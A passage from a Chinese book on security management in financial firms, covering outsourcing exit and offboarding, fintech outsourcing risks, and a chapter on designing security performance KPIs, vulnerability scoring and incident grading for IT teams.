·对于重要外包服务商，应要求其制订业务连续性计划，通过合同等形式明确要求外包商提前做好准备，承诺紧急情况下优先向金融企业提供资源，并要求外包商根据应急处理预案定期进行演练并向金融企业提交报告，实现对外包商业务连续性管理的持续监控。




7.3.3　事后处置



事后处置，是指外包项目结束，或者外包服务中断与终止后，妥善合规地完成外包商后评价、外包商退出处置和外包人员离场检查等工作。


1.外包商后评价


外包商后评价是根据外包商提供产品或服务的执行情况和执行效果，对合作外包商进行全面评价，以发现外包商在合同期内存在的问题。

外包商后评价通常在外包服务结束后半年完成，根据外包项目或外包服务的具体情况采用电话咨询、问卷调查、访谈以及现场考察等方式开展。

外包商后评价内容包括但不限于以下方面，可根据采购内容的特点和合同约定等信息，拟定后评价的各项评价指标和评分权重：

·外包商提供产品或服务的质量和性能。

·业务需求满足程度和客户体验效果。

·外包商的项目管理过程和项目管理能力。

·外包商售后服务质量。

·外包商商务配合情况。

·合同履行的其他情况。

·依外包项目本身特点而拟定的其他评价因素。

外包商后评价的结果直接影响下一次服务的合作可能性，作为外包服务商准入的重要参考依据，选优汰劣，促进外包服务商不断提高服务质量和效率。对于违反合同约束的外包服务商，可以按照合同约定启动相关罚则，严重者可以做退出处理。


2.外包商退出处置


外包商退出分为自然退出和强制退出两种。

外包商的自然退出，是指外包服务结束、外包合同终止，外包商按照合同约定停止在金融企业的服务内容。按照金融企业的外包商退出机制，办理退出手续即可。

外包商的强制退出，是指取消外包商在金融企业的服务资格，并纳入黑名单管理。当外包商出现以下情况时，应该执行退出流程：

·外包商的经营状况、商业信誉或商品质量出现严重的问题，对金融企业的服务造成重大影响或严重风险隐患。

·外包商存在严重的违法违规行为。

·外包商在合同执行期间出现严重的违约行为，对服务造成重大影响。

·外包商后评价未达标。

·外包商提供虚假信息或伪造资料。

·外包商存在商业贿赂、串标、围标、严重不应标、恶意中伤竞争对手等扰乱正常采购秩序的行为。

·外包商存在导致金融企业直接或间接损失的其他行为。

对于强制退出的外包商，信息科技部门需要联合业务部门、法律部门、财务部门等共同讨论解决方案，收集外包商违约或风险事件的证据材料，商议合法合规的处置流程，做好风险分析和应对措施，避免给金融企业造成财务损失和法律风险。


3.外包人员离场检查


外包服务结束后，金融企业应组织外包人员退出前的检查工作，检查结果作为合同结束的参考依据，以防范因外包服务终止而产生的信息泄露风险。具体检查内容包括：

·清理外包人员电脑（如果存在外包人员自带电脑的情况）中，属于金融企业的程序和数据，并由外包服务商提供关于数据已全部清理和后续保密约定仍然有效的书面承诺。

·确认用户权限清理完毕，包括所有用户的注销或删除；门禁卡物理介质归还及权限清理；指纹、指静脉、人脸等身份鉴别方式及记录的删除或禁用等。

·退还金融企业提供的电脑、开发测试用的其他电子设备、文档资料等物品。




7.4　金融科技时代的外包安全管理



金融科技时代，随着新技术的发展和新业务、新产品的涌现，信息科技的治理架构、技术架构和运维模式不断演化，金融企业与外包商的合作模式和合作关系也发生了变化，有新的机遇，也意味着新的风险。

除了上述传统外包安全管理手段外，还需要结合新时代的特点，做好外包商合作关系管理和风险管理。


1.金融科技合作的几种外包模式


在人工智能、区块链、云计算、大数据、物联网等新技术大量运用的当今时代，涌现了大量的金融科技公司，他们的服务范围已经不再局限于提供规划咨询、应用研发、系统运维、安全服务等传统的、纯科技的外包服务，而是寻求与金融企业的深度合作，将业务合作、消费场景、科技能力等向金融企业输出，嵌入到双方合作内容中。

金融企业与金融科技公司的合作，主要有三种外包模式：

第一种是与“互联网系”的金融科技公司合作，进入互联网企业生态圈。在互联网公司的平台和科技能力输出的基础上，开展双方系统平台的技术对接，利用互联网企业的大量用户、流量、消费场景等优势，在技术和业务方面同步开展合作。

第二种是与“金融系”的金融科技公司合作，建设银行、兴业银行、招商银行、民生银行、南京银行等大中型银行机构纷纷成立了金融科技公司或者提供开放的金融平台，为其他中小金融企业提供服务。

第三种是与中小型金融科技企业合作，充分利用金融科技企业的技术，整合双方资源，将金融科技企业融入银行自身的生态圈中。

不管是哪种合作模式，在信息科技外包风险管控方面都有共同的特点，金融企业对于外包业务环节中的金融风险仍须承担风险管控的主体责任，需要分析这一类新的外包模式带来的新风险和可能产生的影响，适时采取必要的应对措施。


2.金融科技合作中外包模式的风险分析


金融企业与金融科技公司的合作，通常会包含数据共享、业务流程整合等方面的合作内容，而且金融科技相关应用中的分布式账户、大数据、云计算、客户身份认证等技术应用，经常采用外包模式实现，因此存在一些新的风险。

首先是个人信息保护方面。金融科技的广泛应用带来了关于客户信息保护的新挑战，需要特别关注数据的保密性、完整性和可用性问题：一是由于业务合作可能涉及金融企业的客户信息的共享，或者金融企业需要通过金融科技公司的平台和场景作为引流方式，难以确保客户信息的绝对安全。二是客户信息有没有经过信息主体的授权，有没有泄露隐私，哪些信息可以获取哪些不可以，目前在法律法规和监管要求层面都缺乏可落地的细则，客户信息的来源和使用的合法合规性没有统一标准。三是客户信息的采集、处理、存储、传输、销毁等全生命周期的管理环节中存在各种不可预知的风险，需要避免数据丢失、损坏、被篡改，以及确保不可用的数据正常销毁。

其次是业务连续性方面。由于对社会公众服务的实时性要求极高，金融企业的业务连续性要求通常非常高。与金融科技公司开展业务合作，业务连续性将部分依赖于金融科技公司管理有效性、基础设施和软硬件系统建设水平、团队责任心等，对金融科技的服务能力提出了巨大的挑战。当发生系统故障时，如何快速应急处置，保证数据和业务的快速恢复，是对金融科技公司的巨大考验。

再次是信息安全方面。由于用户、信息资源的高度集中，获利性提高，金融科技平台遭受黑客攻击的可能性也在上升，DDOS攻击、数据库拖库等攻击而导致的服务不可用或者敏感信息泄露的可能性增加，其破坏后果和严重程度会明显超过传统的单家金融企业遭受攻击。


3.金融科技合作中外包模式的管理要求


选择金融科技合作模式，必须要接受其固有风险。同时，也需要做好以下风险控制措施，尽可能将剩余风险降低到可以接受的程度：

·金融科技规划必须同步考虑风险防控规划，将包含外包风险的风险防控的管理和技术手段，与金融科技的应用同步规划、同步设计、同步实施，方能保障新技术上线的同时，新的安全防控措施也实施到位。风险防范规划同样需要从用户体验出发，围绕客户资产和信息安全开展风险分析和防控。

·金融企业必须承担外包风险管理的主体责任。一方面，传统的外包安全管理要求同样适用于金融科技公司；另一方面，须严格要求金融科技公司遵守金融行业监管要求。例如，账户实名制、客户身份验证、产品宣传销售、投资者适当性管理等方面的技术要求，保护金融客户的合法权益。

·在合作协议上必须明确规定客户信息保护、业务连续性管理、信息安全管理方面的要求，监控指标和对应的违约责任，约束金融科技公司的行为。

·要求金融科技公司也制定详细的运行维护和信息安全管理制度和流程，以确保数据备份的有效性，加强数据访问的授权控制，杜绝数据被恶意篡改，确保退役数据的妥善保管或销毁等。

·通过技术手段防范风险。一方面，做好与金融科技公司之间数据传输过程中的加密、防篡改和完整性校验、不同企业间数据安全隔离等；另一方面，要求金融科技公司做好安全防控，包括网络安全区域划分和网络隔离，防攻击、防病毒、防篡改的安全措施，安全技术防控工具部署，安全审计系统部署，应用安全漏洞防范等，确保能提供与金融行业同样高安全等级的服务。

信息科技外包风险管理将是商业银行面临的一项重要的长期任务，特别是新时代的新型外包管理模式，更是有着不同于传统管理模式的特点，需要一边思考研究，一边实践应用，方可形成一套适合金融企业的外包管理体系。




7.5　小结



本章分析了外包安全管理的必要性和重要性，列举了几个著名的外包风险事件，从外包管理问题出发，探讨了外包战略、战术体系构建。最后顺应当前金融科技时代的趋势，探讨了新形势下外包安全管理的特点和方法。




第8章　安全考核



安全考核，属于金融企业整体考核评价体系的一部分。在企业资源受限的情况下，如何通过安全考核这个指挥棒，最大化地激励团队与员工，实现安全目标，是需要企业安全负责人认真思考的问题。




8.1　考核评价体系与原则



笔者所经历过的金融企业，均比较重视考核评价体系与奖惩机制、人才选拔机制以及管理者在考核中的作用。


1.考核评价体系


金融企业的考核评价体系尊崇“赛马胜相马”，应该让员工在实际的工作岗位中竞争，通过考核，选出最终脱颖而出的人才。

德、能、勤、绩是企业评价员工的四要素，德代表思想品行，能代表能力，勤代表工作表现，绩代表绩效。比如，这活给钱我干，不给钱我也干，就是德；别人不行，我行，就是能；别人休息了，我拼搏，就是勤；白猫黑猫，抓了老鼠，就是绩。我们用人所长，绝不求全责备，普通员工和初级管理者主要考核绩和勤，中级管理者主要考核绩和能，高级管理者主要考核德和能。

金融企业通常采用绩效评估和考核，实现对员工德、能、勤、绩的整体评价。考核是上级、下级、同级（相关者）的多维考核体系，力求真实反映各团队和员工的综合绩效。KPI考核是常见的一种考核方式，通常根据组织战略，制定各团队和条线的KPI，再由团队或条线逐层分解到员工KPI。但KPI通常与其他的评分结合使用，例如，通过KPI和上级打分可以实现上级的利益诉求，通过互评和协助评分可以实现同级相关团队利益诉求，通过员工满意度评分可以实现下级利益诉求。KPI的考核成绩可以说就是德、能、勤的函数在概率分布下的结果，上级打分、同级互评和员工满意度是第三者对员工德、能、勤的主观感受。没有团队精神的员工，不爱部下的领导，再有能力也不可能在互评和满意度评估中获得高分，因此也不可能在综合评分中达到高分。

绩效考核结果运用遵循长短期利益相结合的原则：现金收入是短期利益，是个人价值贡献回馈体系的一部分；企业提供的承担重要领域、重要任务的机会，以及因此而让员工实现的个人价值提升，属于长期利益，优秀员工必然会从长期利益中获得丰厚回馈。不管是长期还是短期利益，都是和员工日常工作中完成的每一项工作、每一次重要会议、每一个项目分不开的，只有日常工作的辛勤积累，才能造就每年的丰硕果实，体验奋斗带来的丰收喜悦。

企业应该将部门利益和个人利益挂钩，如果部门因为某个员工的努力获取了利益，就应该以某种形式反馈为员工利益；如果因某个团队的努力使部门获取了利益，也应该以某种形式反馈给团队，再由团队以公平的形式反馈给员工。


2.奖惩机制


企业的奖惩机制遵循以下原则：

一是奖励与惩罚并重的原则。企业为每个人提供充分的长期创新动力或制度激励，同时，为每个人提供行为选择的制度罚单和约束条件，从而构建起奖励与惩罚并重的有效均衡机制；

二是物质奖惩与精神奖惩相结合的原则。物质奖惩和精神奖惩分别针对每个人的基本物质需求和精神需求，是双向强化的方式，各自承担不同的功能，要充分利用好人的趋利主义动机和精神主义作用。


3.人才选拔机制


企业的人才选拔原则为：择优和奋斗。择优包括品德、绩效、能力、贡献、合作、责任；奋斗包括额外工作时间的投入。我们不单纯任人唯贤，也任人唯“亲”，这里的“亲”不是指血缘关系，而是指是否认同我们的企业文化。企业应当创造多种机会以便于人才的脱颖而出，包括虚拟条线、轮岗锻炼、跨界学习等。


4.管理者的权利和义务


管理者具有本条线人力资源管理职责，各级管理者有责任记录、指导、支持、激励与评价下属员工的工作，负有帮助下属员工成长的责任，下属优秀员工的数量和质量是管理者绩效的重要指标。




8.2　安全考核对象



作为企业考核体系中的一个分支，安全考核分为团队考核和个人考核两部分，具体如图8-1所示。


1.团队考核


（1）总部IT部门

企业内部一般由人力资源部（或薪酬绩效委员会）负责整个企业内部的考核体系、考核标准，以及每年下达各部门的绩效目标书。总部IT部门的绩效目标书通常会包含信息安全考核指标，考核权重为5%~20%，一般不会超过20%。信息安全考核内容通常既包括结果指标，又包括过程指标。典型的指标包括：

·安全事件数（有的也称为安全运行率），属于结果指标。这个指标主要考核一年内安全防护情况，通俗讲就是不出事。该指标也代表风险偏好和容忍度。根据企业的实际情况不同，有的企业愿意安全投入少一点，能适当容忍一些安全事件发生。有的企业要求比较高，投入大，不太能容忍安全事件，甚至不接受发生安全事件的结果。安全事件数的考核，又分两类，一类是区分原因，比如安全事件数只计算因IT部门管理失职导致的；另一类是不区分原因，只要公司发生安全事件就计算在内。实际中还是区分原因的指标比较合理。




图8-1　企业安全考核分支图

·合规率，属于结果指标。这个指标一般指监管标准达标率（内规承接外规比例），制度建设完备情况，以及合规报送合格率（及时率、差错率）等，反映的是监管合规工作质量。

·安全建设项目完成率，属于过程指标。这个指标指IT部门每年的建设项目中，安全项目建设完成情况。

·扣分项，属于结果指标。主要是公司内控合规、稽核审计部门，在内外部安全检查、安全审计中发现问题的扣分。

通常情况下，总部IT部门考核会分解成细项指标，由总部IT部门安全团队和非安全团队承接，安全团队承接的比重不超过20%。

（2）总部非IT部门

总部非IT部门，包括业务部门和职能部门，除风控部门外，通常没有信息安全考核指标，只有在发生安全事件，责任归属于上述部门时，才通过扣分机制进行考核。比如，发现非IT部门员工泄露客户资料数据，需要对该员工所在部门进行安全考核扣分处罚，严重的甚至进行内部问责。

（3）分支机构IT部门（或有）

金融企业一般会有总部和分支机构。分支机构不一定会有IT部门，所以是“或有”。分支机构IT部门（或有）信息安全考核，和总部IT部门类似，分为结果指标和过程指标。

（4）分支机构非IT部门（或有）

分支机构非IT部门的考核，通常和总部机构非IT部门考核类似，主要在安全事件发生且定责为本部门时列入扣分项。


2.个人考核


（1）企业安全负责人

有的企业设有专人担任企业安全负责人，即首席安全官（Chief Security Ofticer，CSO）。目前大部分金融企业都没有独立的CSO岗位（预计未来5~10年会迎来爆发），一般由总行行长、公司总裁或者公司分管IT领导兼任。企业安全负责人的“终极”考核，是由《网络安全法》明确规定的。《网络安全法》第三十四条规定，“关键信息基础设施的运营者还应当履行下列安全保护义务：设置专门安全管理机构和安全管理负责人，并对该负责人和关键岗位的人员进行安全背景审查”，第七十四条规定，“违反本法规定，构成违反治安管理行为的，依法给予治安管理处罚；构成犯罪的，依法追究刑事责任”。可见企业安全负责人承担着多么重大的责任。

（2）总部IT部门负责人

总部IT部门负责人的考核是360度综合评分，考核通常采用比较复杂的方式，主要权重还是在于IT对业务发展的支撑、IT引领业务发展等方面。信息安全考核和运维考核一样，属于底线考核（不能出事）。

（3）总部IT部门安全团队负责人

在企业高管层、部门总经理的层面，安全考核都只有一个指标—别出事情，出了事情等着“背锅”，说白了就是要对结果负责。所以考核设计中，无论是对部门内其他团队的安全考核，还是对安全团队的考核，结果指标都要占到考核的50%以上。

例如，对其他团队考核，就两个指标—风险发现和安全合规要求落实，简单有效。其中风险发现包括漏洞和事件、内外部审计发现等；安全合规要求落实是指安全部门部署工作的完成情况。

安全团队考核两类指标—安全事件数和安全建设工作完成率。安全事件数应该包括整个部门的安全事件数，因为IT部门内其他团队对自己的安全结果负责，安全团队对整个部门的安全结果负责。安全建设包括安全项目、安全合规、安全宣传等工作，也都是承诺具体指标数据的。当然，对于一个团队负责人来说，还应该承担其他指标，例如，安全团队人才培养、团队企业文化建设、安全团队满意度等。

（4）总部IT部门安全团队成员

对于安全团队成员一般考核以下指标：安全性、安全建设重点项目、督办事项、技术创新、常态化工作、人才成长、满意度。（具体内容见8.3.4节“个人考核”）

（5）分支机构IT部门负责人（或有）

负责承接总部下达的本分支机构安全考核任务完成。

（6）分支机构IT部门安全团队负责人（或有）

负责承接分支机构IT部门负责人安排的本分支机构安全考核任务目标完成。

（7）企业其他员工

企业其他员工主要承担安全职责，没有安全考核。安全职责主要是保守公司秘密，保护公司分配的账户密码、双因素动态令牌Token卡等重要敏感信息。一般属于出事后的责任追究范畴。

综上所述，信息安全考核的重点是总部IT部门安全团队、总部IT部门非安全团队、总部IT部门安全团队负责人、总部IT部门安全团队成员四部分。下面分别探讨面向总部IT部门安全团队和非安全团队以及个人的考核方案。




8.3　考核方案



团队考核最重要的是两部分：总部IT部门安全团队和总部IT部门非安全团队。个人考核最重要的是总部IT部门安全团队负责人和总部IT部门安全团队成员。

为了促使金融企业安全工作的目标更为清晰和一致，可按以下步骤设置考核方案：

1）根据企业风险防控的要求，确定安全团队的整体绩效指标。

2）将整体绩效指标分解为总部IT部门安全团队和非安全团队的指标。特别是对于安全团队，可分为安全管理和安全技术两个团队各自的绩效指标。最终要确保各个团队的“合力”能满足整体绩效指标要求。

3）确定各个指标的计算口径、数据收集方式、监测频率等。




8.3.1　考核方案设计原则




1.既要设置过程指标，又要设置结果指标


过程指标主要衡量做到还是没有做到，因为有些规定动作，不管结果怎样，都必须要做；结果指标主要衡量做得好还是不好。

例如，安全工作计划达成率（每季度开展一次全面的漏洞扫描，每年开展两次渗透测试，互联网应用系统投产前必须开展渗透测试等这些规定动作是否做到位），就是一个常见的过程指标，可以把每年的主要安全工作列出来，规定达成的比例，按比例计分。

再比如，安全整改完成率，是一个结果指标，分子为按时完成的信息安全整改工作数量，分母为所有信息安全整改工作数量。可以设置一定的容忍度，例如完成90%以上就可以得满分，90%以下再按档次计分。


2.既要设置客观性指标（定量指标），又要设置主观性指标（定性指标）


安全工作，态度决定一切，所以要在客观指标的基础上，补充一些主观指标，衡量工作态度和岗位胜任能力。例如，可以在工作技能、工作主动性、团队意识、执行力、服务态度、学习意愿和学习能力、工作量、工作质量等方面，设置优、良、中、差等几个等级，由上级给出等级判断和评分。


3.既要设置衡量安全团队自身工作情况的指标，又要设置衡量其他团队开展安全工作情况的指标


安全工作，大部分其实都不是安全团队自己动手完成的，而是要协调和调动开发、运维等其他团队来完成。所以需要衡量安全事件发生数、主动发现风险数等安全团队直接达成的目标，还要衡量其他团队风险整改率、其他团队违规次数等需要配合才可完成的工作。


4.既要在安全团队设置安全类考核指标，也要在开发、运维等其他团队设置安全类考核指标


鉴于安全工作是信息安全团队组织其他团队一起达成目标的，所以除了在安全团队建立绩效考核指标外，在其他团队的绩效考核指标中也纳入一两项安全工作相关指标，才有利于工作的开展，有利于促进整个信息科技大团队的眼往一处看、劲往一处使。

在上述总体原则的指导下，便可针对各类团队和个人，设置不同的考核方案。




8.3.2　总部IT部门安全团队




1.考核内容


（1）结果项

结果项包括安全事件数量、安全合规不符合项、信息系统漏洞整改率等结果指标。

安全事件数量，包括全年由行业监管部门通报且安全团队未主动发现的高、中危安全事件数量。安全事件类型包括：应用系统漏洞、直接获取重要系统权限、敏感信息泄露等。

安全合规不符合项，是指安全合规检查不符合项（含内审、风险评估、安全专项任务等）以及合规安全任务未落实情况。

信息系统漏洞整改率，所有内外部发现的信息系统高、中危漏洞整改修复应大于一定比例。

有关信息安全事件与安全合规不符合项分级定义见8.5节。

有关信息系统漏洞分级标准示例见表8-3“信息系统漏洞分级标准”。

（2）过程项

过程项包括安全建设、安全运营、安全检查、安全意识宣贯、监管合规落实等指标。

（3）加减分项

加分项包括：在完成各项安全任务的同时，为公司或部门带来良好声誉，或避免了安全事件发生；按计划提前完成且质量达到要求，或按计划完成且质量超预期。

减分项包括：给公司造成不良影响的，在原有扣分标准上加倍；由于主观原因，未按计划完成，在原有扣分标准上加倍。


2.考核周期、考核权重、考核分数


考虑到考核工作本身占用的工作量比较大，考核频度通常以季度为宜。考核权重中，结果指标一般至少占安全团队绩效的50%，以百分制计算为50分。

有关考核的一些具体定量和定性指标设置，详见8.5节。




8.3.3　总部IT部门非安全团队（平行团队）




1.考核内容


（1）结果项

结果项包括安全事件数量，信息系统漏洞整改率、安全合规检查风险发现数量等结果指标。安全合规检查风险发现主要考核安全合规检查不符合项（含内审、风险评估、安全专项任务等）。

信息系统漏洞风险分级：漏洞级别采用信息安全通用风险定义标准（见表8-3），分为严重、高危、中危、低危四个级别。漏洞分级综合考虑了漏洞的危害及实际被利用的难易程度。

漏洞考核标准（漏洞扣分按100分制计算）如表8-1所示。

表8-1　漏洞考核标准




漏洞考核计算方式如表8-2所示。

表 8-2　漏洞考核计算




在表8-2中：

·发现即考核的漏洞，检测发现时按漏洞等级扣分，在修复周期内修复减免50%；修复时间超过1周期按100%扣分，超过2周期按200%扣分，以此类推。

·仅考核修复的漏洞，检测发现时不考核，在漏洞等级修复周期内修复不考核；修复时间超过1周期按漏洞风险级别按100%扣分，超过2周期时按200%扣分，以此类推。

·如遇特殊情况，可申请延期修复，审核通过后可获得最高2个周期的延期。

（2）过程项

过程项包括安全任务落实情况（正向指标），通过OA流程发起的落实合规监管、安全推动等任务的完成情况，每次任务完成情况的综合评价（时间、质量）。


2.考核周期、考核权重、考核分数


考虑到考核工作本身占用的工作量比较大，考核频度通常以季度为宜。考核权重一般占IT部门各团队的5%~10%绩效，以百分制计算为5~10分。




8.3.4　个人考核



个人考核，主要是制订安全团队成员的个人考核指标。一般遵循以下原则：

·结果第一，过程是为结果服务的，能力必须通过结果体现。

·职责和职级匹配，如果一个员工是10万薪酬的职级，却和20万、30万薪酬的员工的职责相同，放在同一级别池子里考核，这是不公平的。薪酬高的员工，就应承担与薪酬匹配的职责和绩效考核。如果是骨干员工、发展对象，除了上述职责职级匹配外，还需要额外付出。

·建设性与事务性工作相结合，工作和学习相结合，多维度考核。

在上述原则指导下，每年会和员工沟通，确定绩效考核年度目标，包含安全性（30%）、安全建设重点项目（30%）、技术创新（10%）、督办事项（5%）、常态化工作（5%）、人才成长（10%）、满意度（10%）。此外，还可以设置上级的主观性评分。

·安全性，和整个安全团队安全事件数量等安全结果指标挂钩，同时和该员工负责的领域的安全结果挂钩。

·安全建设重点项目，来自于前一年修订的“安全三年规划”，以及实际中爆发的安全威胁。每人承担2~3项安全重点建设项目。考核时兼顾项目完成质量、取得的收益（效率提升，还是安全管控质量提升等）、获得部门认可等。

·技术创新，激励安全团队员工进行新技术跟踪、撰写研究报告并分享，测试新技术并引入等，哪怕是开展一次有质量的头脑风暴和组织一次有效果的安全活动，都转换成技术创新积分，获得技术创新绩效。

·督办事项，大部分工作在年初制订绩效考核目标时能确定，但是总会临时出现一些工作，比如检查配合、应急处置等。这部分工作放入督办事项中考核。

·常态化工作，安全工作中有很多常态化工作，每位安全团队成员都应承担一部分常态化工作，比如日常报表、安全事件日例会等。常态化工作主要考核差错情况。

·人才成长，除了工作，还要督促团队成员参加各类培训，考取各类认证，以及看书学习。企业安全建设的安全人员，容易脱离实战，因此定期参加攻防对抗的培训，考取诸如CEH等实战类的认证，对安全团队成员发展有利。同时，还应鼓励团队成员提升非安全技能的软性技能，比如沟通、逻辑、表达、战略、规划等方面能力，督促员工多看书、多学习。

·满意度，在团队协作、沟通配合等方面的考核中放入满意度，满意度是考核的一个维度，也是员工专业性、协作、态度等多方面的综合表现。

·主观性评分，包括执行力、工作技能、工作态度、工作量、工作质量、学习意愿和学习能力、工作主动性等方面的主观评分，通常由上级直接打分。




8.3.5　一些细节




1.考核注意点


实际安全考核中有几点需要注意：

·防止恶性竞争，比如有的考核项是计算数量的，要设置一个数量上限，防范恶性竞争的问题。比如设置了一个安全知识库数量的考核项，要同时设置一个数量上限，以团队为考核单位，最多2条，超过2条即可拿满分，否则容易造成各团队恶性竞争。

·团队规模不均带来的公平性问题，漏洞考核时一般会给各团队漏洞数量豁免，豁免数量要考虑团队规模、维护的系统数量等实际情况，不能“一刀切”。


2.防止秋后算账


考核是手段，而非目的。考核的目的是，通过考核，促进各团队的安全规则落地。因此在发生安全事件，出现安全漏洞、不合规情况时，要立即进行考核通报，防止年终一次性计算。要即时结账、不要秋后算账的另一好处是，落后的团队看到排名和不好的结果，还可以努力补救，这也达到了考核的目的。


3.利用5%实现100%的效果


安全考核对平行团队考核虽然只有5%，但要发挥出100%的效果。这需要整个考核体系的支持和配合。在笔者经历过的企业中，就可以达到这个效果，因为强制排名。每个团队是强制排名的，也就是说即使只比前一名的团队少0.1分，但因为是强制排名，最终可能获得的优秀指标就会少于50%，从而每个团队对0.1分的考核项都不敢掉以轻心，5%实现100%的效果。


4.正向还是负向激励


多用正向激励，慎用负向激励。负向激励可转化为正向激励。有两种转化方式：

·如果考核在[-X，+Y]区间，那么设置考核分数为[0，X+Y]的效果要比[-X，+Y]好很多。因为[0，X+Y]全部为得分项，属于正向激励。

·考核在规定时间内完成，要么减免50%扣分，要么增加一倍加分。比如在修复周期内完成修复，漏洞考核减免50%扣分。这样起到了正向激励的作用，既督促了大家，也达到了安全考核目标。




8.4　与考核相关的其他几个问题




1.免费的胡萝卜


从职业生涯之初，直到成为企业安全负责人，都或多或少会遇到一些困惑：如何说服别人支持自己，以推动安全工作？如果资源是无限的，每个人完成了工作，都可以得到枚钻石，那就简单了，可惜资源是有限的。正因为资源是有限的，因此我们要“多喂免费的胡萝卜”。

“胡萝卜”，在管理学的范畴中，引申为有效的赏识和奖励机制，员工都渴求这种机制的感应和刺激。能力是否得到上司认可，这关系到员工是否要改换门庭—寻找他们能够得到承认和赏识的更好的职场环境。所以，为了留住卓越的员工，保持中坚力量的稳定，领导者就必须在企业内部营造胡萝卜文化，吸纳人才，并努力使团队更多地活跃在达观和愉悦的工作环境中。喂胡萝卜除了对团队成员有效，对与工作相关的任何干系人都有效。

在安全建设推动工作中有哪些免费的胡萝卜呢？表扬、排名、通报、扣分、给荣誉奖项等等都是可行的。

除了上述推动工作方式以外，还有一点就是，跑得勤快一点。“人怕见面，树怕剥皮”，为了推动工作，达到想要的目标，找到关键干系人，一次不行就两次，多去找几次，见面谈，成功概率很大的。笔者特别不提倡的就是通过邮件、微信、电话等和别人谈很重要的工作。对于那些拒绝工作沟通的人，一定要拿出自己的诚意，让别人看到自己的付出和努力，发发邮件、打打电话的方式不可取。


2.要不要满意度


以目前国内企业对安全的认知，安全团队不太可能获得好的满意度。反倒是满意度高的安全团队要思考一下，大BOSS会怎么想。以笔者的实际经历来看，满意度高的团队绩效表现一般都比较平庸甚至较低。满意度实际是多方维度，平行团队对你的满意度和上级对安全团队的满意度，以及团队成员对安全团队的满意度，三者都需要考虑。笔者一般考虑的优先级是上级对安全团队的满意度>安全团队成员对安全团队的满意度>平行团队对安全团队的满意度。

上级对安全团队的满意度，其实就是安全团队的价值，安全团队的绩效。创造价值、做出成绩、解决问题，才能让上级满意，这个道理简单易懂。

安全团队成员对安全团队的满意度，其实很重要。满意度不高，团队容易一盘散沙，瞬间分崩离析，肯定也不会取得好的安全绩效。这就要求安全负责人要研究怎么满足安全团队成员的满意度。笔者的亲身体会（包括做员工时期）是，要让团队成员个人价值得到提升，能够通过自己的辛勤劳动获得体面的收入，同时能够收获尊重和认可。价值提升和体面收入，一个是长期收益，一个是短期收益，有眼光的人会优先关注长期收益。所以需要经常和团队成员沟通，要有危机感，不要有太多优越感。可以让团队成员多想想，如果公司不是只有一个安全团队，如果不是垄断，用户会不会买我们的服务？把自己放入互联网企业、制造企业，会不会适应快节奏、低成本、一切都围绕有效来开展工作？

平行团队对安全团队的满意度，如果安全团队做出价值，为公司、部门和平行团队带来安全保障，相信有格局的管理者会给出公平的满意度评价，即使有时候由于各种主观客观原因，对安全团队的打分评价不是很客观，那也可以理解。这个满意度的关键还是在于大BOSS怎么看，如果安全团队做得很糟糕，即使大家给安全团队满意度很高，结果也不会好。如果安全团队做得很好，同时还能影响和照顾平行团队的诉求，满意度虽然不一定很高，但至少不会排名倒数第一。多年的实践表明，从倒数第一满意度努力到倒数第二，就是成功。在成为倒数第一的时候，并不需要很生气，因为从正面角度看，至少说明两点：

·安全管控实实在在，不再是可有可无。

·安全肯定有很大改进提升空间。

接下来的事也挺简单，和平行团队沟通，哪些是可以改进优化的，就积极努力去做，按这个思路，第二年基本就不会倒数第一了。


3.内部问责


有了考核、排名、通报，还需不需要内部问责？笔者的建议是：需要。在安全这个需要认真严谨来不得半点敷衍的领域，规则+检查+问责是最好的落地方法。先约定达成一致的安全规则，然后通过强有力的检查发现违反规则的行为，进行考核，对于违反红线的进行内部问责。内部问责是高压线。

安全开发流程（Security Development Lifecgcle，SDL）中提到SDL实战经验的四条准则，第三条是树立安全部门的权威、项目必须由安全部门审核完成后才能发布。如果没有这样的权威，安全就变成了可有可无的东西。当然，这句话并非绝对，在树立安全部门权威的同时，安全也可能对业务妥协。比如，对于不是非常严重的问题，在业务时间压力非常大的情况下，可以考虑事后再进行修补，或者使用临时方案应对紧急情况。安全最终是需要为业务服务的。


4.安全考核，没有唯一标准答案，在于实践


安全考核属于企业考核评价体系的一部分，不可能脱离企业评价体系而单独存在，而企业考核评价体系有各种风格，各种实际情况，和企业的文化、风格、所属行业等因素皆相关，因此安全考核注定没有一份唯一的标准答案，但坚持实践一定会得到你想要的最好答案。没有捷径，最好的路径就是日拱一卒。




8.5　安全考核示例




1.信息安全事件分级示例


信息安全事件分级包括：重大事件、较大事件、一般事件。

重大事件：

·被行业监管部门、公司内控部门通报或批评。

·被行业权威部门发现系统漏洞或风险（如公共漏洞平台等），且存在重大隐患或已造成重大损失。

·行业《信息安全事件报告及调查处理办法》中定义的特别重大事件、重大事件。

·安全检测（内部、外部）中发现的因违反安全管理规范或开发规范等相关要求，产生的重大安全隐患或高风险系统漏洞。


较大事件：


·被外部单位发现系统漏洞或风险，且存在较大隐患。

·行业《信息安全事件报告及调查处理办法》中定义的较大事件。

·安全检测（内部、外部）中发现的因违反安全管理规范或开发规范等相关要求，产生的较大安全隐患或中风险系统漏洞。


一般事件：


·部门内部通报。

·行业《信息安全事件报告及调查处理办法》中定义的一般事件。

·安全检测（内部、外部）中发现的因违反安全管理规范或开发规范等相关要求，产生的一般安全隐患。


2.安全合规不符合项（含内审、风险评估等）分级示例


按不符合项对应标准的相关级别分为：严重、一般、轻微。


严重不符合：


·不符合监管部门发布的相关制度、办法及指引中操作类要求。

·不符合公司发布的相关制度、办法中相关要求。

·不符合安全规范要求，且存在重大隐患。


一般不符合：


·不符合公司发布的各类操作指引、技术规范。

·不符合安全规范要求，且存在较大隐患。


轻微不符合：


·不符合部门发布的各类细则、指引、规范。

·不符合部门内部安全管理要求。


3.信息系统漏洞分级标准示例


信息系统漏洞级别分为：严重、高危、中危、低危。具体描述如表8-3所示。

表8-3　信息系统漏洞分级标准








4.定量（客观性）KPI设置建议


定量考核指标库中的可选指标建议如下。企业可以先建立一个整体KPI指标库（见表8-4），然后根据安全团队、平行团队等工作重点，从指标库中选择对应的指标衡量，通常选取指标3~5个为宜。

表8-4　安全团队绩效KPI指标







此外，还可以设置重大信息安全事件、重大信息安全攻击事件、监管通报重大风险、监管评级降级等一票否决型指标，一旦触发则整个考核期内的分数可以一朝归零。


5.定性（主观性）指标设置建议


定性指标的设置，主要是因为KPI指标有限，不能完全衡量一个人的所有业绩，特别是工作态度和工作能力方面，需要上级给出一个主观性的衡量。但定性指标设置通常不宜过多，一般不超过5个为宜，而且在整个考核分值中的占比不宜超过40%。

